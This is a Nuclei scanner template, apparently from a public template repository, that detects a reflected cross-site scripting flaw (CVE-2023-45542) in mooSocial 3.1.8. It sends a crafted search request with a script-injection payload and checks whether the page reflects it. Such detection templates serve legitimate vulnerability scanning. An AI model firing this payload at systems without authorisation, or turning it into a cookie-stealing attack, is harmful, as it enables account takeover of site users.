nuclei-templates/http/cves/2023/CVE-2023-45542.yaml

40 lines
1.4 KiB
YAML
Raw Normal View History

2023-11-23 11:30:47 +00:00
id: CVE-2023-45542
info:
name: MooSocial 3.1.8 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
reference:
- https://github.com/ahrixia/CVE-2023-45542
- https://nvd.nist.gov/vuln/detail/CVE-2023-45542
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-45542
cwe-id: CWE-79
epss-score: 0.00111
epss-percentile: 0.44125
cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
2023-11-23 11:30:47 +00:00
metadata:
verified: true
max-request: 1
2023-11-23 11:30:47 +00:00
vendor: moosocial
product: moosocial
2023-11-23 11:30:47 +00:00
tags: cve,cve2023,xss,moosocial
http:
- method: GET
path:
- "{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(document.domain)</script>", "mooSocial")'
condition: and
2023-12-05 09:50:33 +00:00
# digest: 4a0a00473045022100c000cc2cbfda236cef323c3b302a73bd27465a6f3ead45789020724f44cc0a9c022034ed46db5bb5e1a2c73d5fbd1351e90a20346c1266933b4f2b552a0c57c3fd9a:922c64590222798bb761d5b6d8e72950